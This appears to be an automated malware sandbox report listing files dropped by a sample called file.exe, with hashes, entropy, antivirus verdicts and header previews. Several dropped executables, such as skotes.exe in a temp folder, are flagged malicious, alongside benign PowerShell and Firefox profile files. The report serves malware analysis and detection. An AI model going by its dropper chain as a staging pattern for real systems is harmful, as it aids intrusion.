SSDEEP:	49152:pB05Vq48/IMnrcHSItXkqPy6wd8xpa1/FNzcZEIG1Sl:pYVm3q698xERnzXla
MD5:	B54F03BAF9BE367B7557E928638593AC
SHA1:	68A3555002C8D258D8EA2FF667E75B1D6178F26A
SHA-256:	79DD1324239C559595137F57637F4599F5F6D81C4EF8354EF6412C4693800ECD
SHA-512:	8FE6573DCEE6CD983E1C7BF0722C9C5E487DC72020CA6DD8CC37403DCDD462F1EDE632218FCB6A7141982BFC7CCBB1FF1D806177612FEACE5A47C23D39CC504B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................J.....bs....@.................................W...k...........................0.J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... . *.........................@...vcnwvfjn......0.....................@...ailsjwpv......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2790400
Entropy (8bit):	6.499179015859827
Encrypted:	false
SSDEEP:	49152:uaF8UWSZ/RetN4BoIBmLum10gEm6puqMGRhDmAjy9oG:ffWSVRetN4OIBmLum7UuqmQsoG
MD5:	31DCBB1049045C8DDE02EFAA077817FD
SHA1:	6E3D0910AC7AA8E7E58A5D35F92E093F7054B02B
SHA-256:	A7ED2FCA5E68439CB4274D75A707B1585C82FC5BA612EDDBA132902D100D3858
SHA-512:	1C8EFE68BD5D5CE2B5115EF7E67E77D780E89059FE78F62D2F6855CDCB192DF49B36E78BCB0BED6C08388D1EEB5CDD01AE0701F5E74249BB1D3FBB5A52A5E33A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. .......................@+......>+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...kzqschdp.@......4..:..............@...ptbfmmvg. ..........n.............@....taggant.@....+.."...r*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1887744
Entropy (8bit):	7.950142874409659
Encrypted:	false
SSDEEP:	49152:pB05Vq48/IMnrcHSItXkqPy6wd8xpa1/FNzcZEIG1Sl:pYVm3q698xERnzXla
MD5:	B54F03BAF9BE367B7557E928638593AC
SHA1:	68A3555002C8D258D8EA2FF667E75B1D6178F26A
SHA-256:	79DD1324239C559595137F57637F4599F5F6D81C4EF8354EF6412C4693800ECD
SHA-512:	8FE6573DCEE6CD983E1C7BF0722C9C5E487DC72020CA6DD8CC37403DCDD462F1EDE632218FCB6A7141982BFC7CCBB1FF1D806177612FEACE5A47C23D39CC504B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................J.....bs....@.................................W...k...........................0.J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... . *.........................@...vcnwvfjn......0.....................@...ailsjwpv......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3f1jjzhf.vlx.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5a3ji4tr.xm0.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bjz4cg1s.qm0.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ewvxqs00.ds4.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jcanvcfi.mjy.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jpzjog14.qra.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rbneaftm.smp.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uorvtx4r.mgf.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1887744
Entropy (8bit):	7.950142874409659
Encrypted:	false
SSDEEP:	49152:pB05Vq48/IMnrcHSItXkqPy6wd8xpa1/FNzcZEIG1Sl:pYVm3q698xERnzXla
MD5:	B54F03BAF9BE367B7557E928638593AC
SHA1:	68A3555002C8D258D8EA2FF667E75B1D6178F26A
SHA-256:	79DD1324239C559595137F57637F4599F5F6D81C4EF8354EF6412C4693800ECD
SHA-512:	8FE6573DCEE6CD983E1C7BF0722C9C5E487DC72020CA6DD8CC37403DCDD462F1EDE632218FCB6A7141982BFC7CCBB1FF1D806177612FEACE5A47C23D39CC504B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................J.....bs....@.................................W...k...........................0.J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... . *.........................@...vcnwvfjn......0.....................@...ailsjwpv......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ExperimentStoreData.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.926644158964823
Encrypted:	false
SSDEEP:	48:YnSwkmrOVPUFRbOdwNIOdoWLEWLtkDZuwpx5FBvipA6kb92the6LuhakNOw396Iu:8S+OVPUFRbOdwNIOdYpjvY1Q6L1Kl8P
MD5:	DF7836A2F55C0BC71BB816F27B0404FF
SHA1:	79F981FA9F1511D3F0CEE3CD6FACE10B0CBA947B
SHA-256:	7947CF3FE55C4CC4E15673C57943801A4154F0821C301E7F8D3F2D17A192A1EA
SHA-512:	13851294EFE0D03CC0C555152BA208B05E42526A2F2EEC4A4C82AE672E8ECC0C782AF96525A17ED4C26BE10C17BF09486450BE70FB2C2CEB227E76DA1B4D29CA
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"3ba649bc-be47-4b92-8762-21cab57bda3b","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-04T13:40:33.697Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ExperimentStoreData.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.926644158964823
Encrypted:	false
SSDEEP:	48:YnSwkmrOVPUFRbOdwNIOdoWLEWLtkDZuwpx5FBvipA6kb92the6LuhakNOw396Iu:8S+OVPUFRbOdwNIOdYpjvY1Q6L1Kl8P
MD5:	DF7836A2F55C0BC71BB816F27B0404FF
SHA1:	79F981FA9F1511D3F0CEE3CD6FACE10B0CBA947B
SHA-256:	7947CF3FE55C4CC4E15673C57943801A4154F0821C301E7F8D3F2D17A192A1EA
SHA-512:	13851294EFE0D03CC0C555152BA208B05E42526A2F2EEC4A4C82AE672E8ECC0C782AF96525A17ED4C26BE10C17BF09486450BE70FB2C2CEB227E76DA1B4D29CA
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"3ba649bc-be47-4b92-8762-21cab57bda3b","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-04T13:40:33.697Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 5, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 5
Category:	modified
Size (bytes):	262144
Entropy (8bit):	0.04905391753567332
Encrypted:	false
SSDEEP:	24:DLivwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:D6wae+QtMImelekKDa5
MD5:	DD9D28E87ED57D16E65B14501B4E54D1
SHA1:	793839B47326441BE2D1336BA9A61C9B948C578D
SHA-256:	BB4E6C58C50BD6399ED70468C02B584595C29F010B66F864CD4D6B427FA365BC
SHA-512:	A2626F6A3CBADE62E38DA5987729D99830D0C6AA134D4A9E615026A5F18ACBB11A2C3C80917DAD76DA90ED5BAA9B0454D4A3C2DD04436735E78C974BA1D035B1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extension-preferences.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extension-preferences.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.07332260783301368
Encrypted:	false
SSDEEP:	12:DBl/A0OWla0mwPxRymgObsCVR45wcYR4fmnsCVR4zki5:DLhesh7Owd4+ji
MD5:	D8EDCCFA040AA0C3B1A6189048FB40DF
SHA1:	3DB07F1E5151AB326963A53C16A7ED1C123DD71C
SHA-256:	20DE1818F4302B79210948FB406F7C8FF786FFB831F525B58E5A71517AA3B566
SHA-512:	E028B20C3F79AA3A560CB98ADA6EFFB02259C2D6DFDBE355724E6E18BB6F4C48AA4AE390378CACE83871398F42D61F69BB6D6BBB1E706E86CD4502DC789444AF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......~s..F~s........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.03703685070990314
Encrypted:	false
SSDEEP:	3:GtlvVOd20tIlMCuleylvVOd20tIlMCuleflL9//2ltltl:Gt2dhwMCuP2dhwMCu+9XCt1
MD5:	67B764FC43B4A79973FDD48BCC255944
SHA1:	E02D1699E19E82F486519628CE1657424C938176
SHA-256:	0C998E06B7E0532AAA7516347FA6C10E8A308627EFFC4FDF76A7AD6034332D12
SHA-512:	EFC765756DDCF33A36A004BD946E3888C5816098BDBDCE0B832CB6CE8B3D1185A9A5E88115880F094B2DE1E40679EF1A5B14395A66EEA2633B01CB874F92EEEE
Malicious:	false
Preview:	..-.....................#.<.........[..3..X..(...-.....................#.<.........[..3..X..(.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	65616
Entropy (8bit):	0.03466774405395993
Encrypted:	false
SSDEEP:	6:K+QjCqkKCTl8dMhm93tkKC95wl8dMhm93w:K+QI8Ww93CW8Ww93w
MD5:	2C2C9430B1684C8A79573CD460C8F8BC
SHA1:	97CB2FF618E3069F52BB95C98180E8F3C42CEC6C
SHA-256:	07812DAA55532032B383AB16AC7BADE31BAC582965EDEE2EBE99443AAED72607
SHA-512:	FD6714988A562DEA4F76329642721C35B162307E10443BD6CEDC214EAA76A1F4E96279A524F2F7413B13A6898D22654D77508C95B33943DDB7DF2AA9EBF9351C
Malicious:	false
Preview:	7....-..............[.....+.k.............[...+~.t...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	11956
Entropy (8bit):	5.470416222455285
Encrypted:	false
SSDEEP:	192:knPOeRnLYbBp6VJ0aX+H6SEXKKN1io5RHWNBw8d2Sl:GDe4JUad1HEwD0
MD5:	291ACA81DA1479A5DB5A2D192720CD05
SHA1:	E9922418C606C17FBA96E1DD7B826DF08C2D6EAB
SHA-256:	369287504419D3D9DEA09C44077702DF232773CC0A1B19B57BBF279905EBEDC9
SHA-512:	FAC83AD62BCFEED1FA046753062845AA299BBA6947C936194ADDE5B82220379315758FC85612FE9D729A0FF8728E72B7A03D1CBEBAE4B004EBF4798D3DC7EB91
Malicious:	false
